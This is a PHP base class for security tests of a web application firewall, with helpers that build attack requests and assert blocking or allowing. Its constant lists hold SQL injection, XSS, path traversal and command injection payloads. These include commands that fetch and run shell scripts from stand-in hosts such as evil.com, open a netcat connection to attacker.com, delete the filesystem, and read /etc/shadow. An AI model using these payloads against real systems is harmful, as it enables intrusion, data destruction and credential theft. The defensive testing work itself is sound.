Files
michaelschiemer/tests/Security/SecurityTestCase.php
Michael Schiemer fc3d7e6357 feat(Production): Complete production deployment infrastructure
- Add comprehensive health check system with multiple endpoints
- Add Prometheus metrics endpoint
- Add production logging configurations (5 strategies)
- Add complete deployment documentation suite:
  * QUICKSTART.md - 30-minute deployment guide
  * DEPLOYMENT_CHECKLIST.md - Printable verification checklist
  * DEPLOYMENT_WORKFLOW.md - Complete deployment lifecycle
  * PRODUCTION_DEPLOYMENT.md - Comprehensive technical reference
  * production-logging.md - Logging configuration guide
  * ANSIBLE_DEPLOYMENT.md - Infrastructure as Code automation
  * README.md - Navigation hub
  * DEPLOYMENT_SUMMARY.md - Executive summary
- Add deployment scripts and automation
- Add DEPLOYMENT_PLAN.md - Concrete plan for immediate deployment
- Update README with production-ready features

All production infrastructure is now complete and ready for deployment.
2025-10-25 19:18:37 +02:00

251 lines
7.4 KiB
PHP

<?php
declare(strict_types=1);
namespace Tests\Security;
use App\Framework\Http\HttpRequest;
use App\Framework\Http\Method;
use App\Framework\Http\ServerEnvironment;
use App\Framework\Http\ParsedUri;
/**
* Base class for security tests
*
* Provides utilities for security testing including:
* - Attack payload generation
* - Request creation with malicious inputs
* - WAF testing utilities
* - Security assertion helpers
*/
abstract readonly class SecurityTestCase
{
/**
* Common SQL injection attack patterns
*/
protected const SQL_INJECTION_PATTERNS = [
"' OR '1'='1",
"'; DROP TABLE users--",
"' UNION SELECT NULL--",
"admin'--",
"' OR 1=1--",
"1' AND '1'='1",
"'; DELETE FROM users WHERE '1'='1",
"1 UNION SELECT username, password FROM users--",
"' OR 'x'='x",
"1'; EXEC sp_MSForEachTable 'DROP TABLE ?'--",
];
/**
* Common XSS attack patterns
*/
protected const XSS_PATTERNS = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')",
"<iframe src='javascript:alert(\"XSS\")'></iframe>",
"<body onload=alert('XSS')>",
"<input onfocus=alert('XSS') autofocus>",
"<select onfocus=alert('XSS') autofocus>",
"<textarea onfocus=alert('XSS') autofocus>",
"<marquee onstart=alert('XSS')>",
"<<SCRIPT>alert('XSS');//<</SCRIPT>",
"<script>document.cookie</script>",
];
/**
* Common path traversal attack patterns
*/
protected const PATH_TRAVERSAL_PATTERNS = [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"....//....//....//etc/passwd",
"..%2F..%2F..%2Fetc%2Fpasswd",
"..%5c..%5c..%5cwindows%5csystem32%5cconfig%5csam",
"/etc/passwd",
"C:\\Windows\\System32\\config\\SAM",
"../../../../../../etc/shadow",
"..\\..\\..\\..\\..\\.\\etc\\passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
];
/**
* Common command injection patterns
*/
protected const COMMAND_INJECTION_PATTERNS = [
"; ls -la",
"| cat /etc/passwd",
"&& rm -rf /",
"`whoami`",
"$(cat /etc/passwd)",
"; cat /etc/shadow",
"| nc attacker.com 4444",
"&& curl http://evil.com/shell.sh | bash",
"; wget http://malware.com/backdoor",
"$(curl -s http://attacker.com/payload.txt)",
];
/**
* Create HTTP request with attack payload
*
* @param string $uri Request URI
* @param Method $method HTTP method
* @param array $queryParams Query parameters (can contain attacks)
* @param array $postData POST data (can contain attacks)
* @param array $headers HTTP headers (can contain attacks)
* @return HttpRequest
*/
protected function createAttackRequest(
string $uri,
Method $method = Method::GET,
array $queryParams = [],
array $postData = [],
array $headers = []
): HttpRequest {
$parsedUri = ParsedUri::fromString('https://localhost' . $uri);
$server = new ServerEnvironment([
'REQUEST_METHOD' => $method->value,
'REQUEST_URI' => $uri,
'SERVER_NAME' => 'localhost',
'SERVER_PORT' => '443',
'HTTPS' => 'on',
'REMOTE_ADDR' => '127.0.0.1',
'HTTP_USER_AGENT' => $headers['User-Agent'] ?? 'SecurityTestAgent/1.0'
]);
return new HttpRequest(
method: $method,
uri: $parsedUri,
server: $server,
headers: $headers,
body: !empty($postData) ? json_encode($postData) : '',
parsedBody: !empty($postData) ? $postData : null,
queryParameters: $queryParams,
cookies: [],
files: []
);
}
/**
* Generate SQL injection test cases
*
* @return array<array{payload: string, description: string}>
*/
protected function generateSqlInjectionTestCases(): array
{
return array_map(
fn(string $pattern) => [
'payload' => $pattern,
'description' => 'SQL Injection: ' . substr($pattern, 0, 50)
],
self::SQL_INJECTION_PATTERNS
);
}
/**
* Generate XSS test cases
*
* @return array<array{payload: string, description: string}>
*/
protected function generateXssTestCases(): array
{
return array_map(
fn(string $pattern) => [
'payload' => $pattern,
'description' => 'XSS Attack: ' . substr($pattern, 0, 50)
],
self::XSS_PATTERNS
);
}
/**
* Generate path traversal test cases
*
* @return array<array{payload: string, description: string}>
*/
protected function generatePathTraversalTestCases(): array
{
return array_map(
fn(string $pattern) => [
'payload' => $pattern,
'description' => 'Path Traversal: ' . substr($pattern, 0, 50)
],
self::PATH_TRAVERSAL_PATTERNS
);
}
/**
* Generate command injection test cases
*
* @return array<array{payload: string, description: string}>
*/
protected function generateCommandInjectionTestCases(): array
{
return array_map(
fn(string $pattern) => [
'payload' => $pattern,
'description' => 'Command Injection: ' . substr($pattern, 0, 50)
],
self::COMMAND_INJECTION_PATTERNS
);
}
/**
* Assert that request should be blocked by WAF
*
* @param mixed $wafDecision WAF decision result
* @param string $attackType Type of attack (for error messages)
*/
protected function assertWafBlocked($wafDecision, string $attackType): void
{
if (!method_exists($wafDecision, 'shouldBlock')) {
throw new \RuntimeException('WAF decision does not have shouldBlock method');
}
if (!$wafDecision->shouldBlock()) {
throw new \RuntimeException(
"WAF failed to block {$attackType} attack. " .
"This is a critical security vulnerability!"
);
}
}
/**
* Assert that request should be allowed by WAF
*
* @param mixed $wafDecision WAF decision result
* @param string $context Context for error messages
*/
protected function assertWafAllowed($wafDecision, string $context): void
{
if (!method_exists($wafDecision, 'shouldBlock')) {
throw new \RuntimeException('WAF decision does not have shouldBlock method');
}
if ($wafDecision->shouldBlock()) {
throw new \RuntimeException(
"WAF incorrectly blocked legitimate request: {$context}. " .
"This is a false positive!"
);
}
}
/**
* Create legitimate request (for false positive testing)
*/
protected function createLegitimateRequest(
string $uri,
Method $method = Method::GET,
array $data = []
): HttpRequest {
return $this->createAttackRequest(
uri: $uri,
method: $method,
queryParams: $method === Method::GET ? $data : [],
postData: $method === Method::POST ? $data : []
);
}
}